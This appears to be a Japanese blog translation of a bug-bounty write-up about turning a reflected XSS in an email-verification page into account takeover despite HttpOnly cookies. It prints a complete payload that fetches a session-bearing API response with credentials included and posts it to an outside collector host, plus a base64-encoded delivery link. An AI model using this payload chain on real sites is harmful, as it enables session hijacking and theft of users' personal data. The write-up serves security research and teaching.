Shikata Ga Nai

Private? There is no such things.

Defeat the HttpOnly flag to achieve Account Takeover | RXSSを訳してみた

Hello there, ('ω')ノ

 

アカウントの乗っ取りを達成するために HttpOnly フラグを無効にするを。

 

脆弱性:

 反射型XSS

 アカウント乗っ取り

 

記事:

 https://medium.com/@mohamedtarekq/defeat-the-httponly-flag-to-achieve-account-takeover-rxss-c16849d3d192

 

今回は、反射型 XSS 脆弱性を介してアカウント乗っ取りを達成するために。

HttpOnly フラグが設定されている場合に被害者のセッションを。

取得する方法について説明することに。

 

プログラムは非公開だったので、target.com と呼ぶことに。

まず、どのようにして XSS を見つけたかを。

メールアドレスの変更機能をテストしていましたが、メールアドレスを変更すると。

次のような URL にリダイレクトされて。

 

    https://xyz-target.com/authn/email/needverification?e=dGltb29vbkBidWdjcm93ZG5pbmphLmNvbQ==

 

 

URL に base64 パラメータ (e) があることに気付いたので、それをデコードすると。

ページに反映されているのは私の新しいメールであることがわかって。

そこで、base64 パラメータ (e) の値を XSS ペイロードに変更し。

base64 でエンコードすることにして。

 

 

したがって、下記へアクセスするとCookie でアラートが発生して。

 

https://xyz-target.com/authn/email/needverification?e=PGltZy9zcmMvb25lcnJvcj1hbGVydChkb2N1bWVudC5jb29raWUpPg==

 

 

残念ながら、セッションには HttpOnly フラグが設定されているため。

Java Scriptを介して取得できず。

これまでのところ、重大度が P3 の脆弱性であることはわかっていますが。

通常、JS コードを実行できる場合はここで終わりではなく。

そこで、この脆弱性を ATO にエスカレートし、機密データや CSRF トークンを。

盗むなどの調査をさらに進めて。


アカウント乗っ取りの実現:

最初に行ったことは、ソース コードと JS ファイルを分析して。

ApiKey、シークレット トークン、CSRF トークンなどを探すことで。

 

次に、LocalStorage に機密データが保存されているかどうかを確認しましたが。

残念ながら重要なものは見つからず。

Burp Suiteを起動して、機密データまたはユーザのセッションを。

返すエンドポイントを探して。

そして、ユーザのセッションを含むユーザの PII 情報を返す興味深いものを。

見つけて。

このエンドポイントは、次の URL のようになり。

 

 https://api.target.com/home/v1/UserPersonalization/mymodules?more=true

 

 

これで、fetch メソッドを使用してこのエンドポイントにリクエストを送信し。

PII 情報に加えて被害者のセッションを盗むことができて。

被害者の Cookie をリクエストとともに送信する fetch メソッドの。

credentials: 'include' 属性に感謝して。


取得リクエスト:

 

fetch('https://api.target.com/home/v1/UserPersonalization/mymodules?more=true', {
    method: 'get',
    credentials: 'include',
    headers: {
    'Content-Type': 'application/json'
    }
}).then(response => response.text());

 

今まで、応答の内容を持っていて。

実際、それは大きな応答で。

このデータを攻撃者のサーバに送信する必要があるので。

このデータをサーバに送信するために使用した方法は。

POST XMLHttpRequest を使用することで。

 

攻撃者のサーバーにデータを送信:

 

.then(data => {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'https://timooon.free.beeceptor.com/data');
    xhr.send(data);
});

 

最終的なペイロードは次のようになり。

 

<img src onerror="fetch('https://api.target.com/home/v1/UserPersonalization/mymodules?more=true', {
    method: 'get',
    credentials: 'include',
    headers: {
        'Content-Type': 'application/json'
    }
}).then(response => response.text()).then(data => {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'https://timooon.free.beeceptor.com/data');
    xhr.send(data);
});">

 

最終的なペイロードを base64 にエンコードし、リンクを被害者に配信して。

 

https://xyz-target.com.com/authn/email/needverification?e=PGltZyBzcmMgb25lcnJvcj0iZmV0Y2goJ2h0dHBzOi8vYXBpLnRhcmdldC5jb20vaG9tZS92MS9Vc2VyUGVyc29uYWxpemF0aW9uL215bW9kdWxlcz9tb3JlPXRydWUnLCB7CiAgICBtZXRob2Q6ICdnZXQnLAogICAgY3JlZGVudGlhbHM6ICdpbmNsdWRlJywKICAgIGhlYWRlcnM6IHsKICAgICAgICAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL2pzb24nCiAgICB9Cn0pLnRoZW4ocmVzcG9uc2UgPT4gcmVzcG9uc2UudGV4dCgpKS50aGVuKGRhdGEgPT4gewogICAgdmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwogICAgeGhyLm9wZW4oJ1BPU1QnLCAnaHR0cHM6Ly90aW1vb29uLmZyZWUuYmVlY2VwdG9yLmNvbS9kYXRhJyk7CiAgICB4aHIuc2VuZChkYXRhKTsKfSk7Ij4=

 

 

そして、被害者のセッションと PII 情報を含む応答がサーバに送信されて。

 

Best regards, (^^ゞ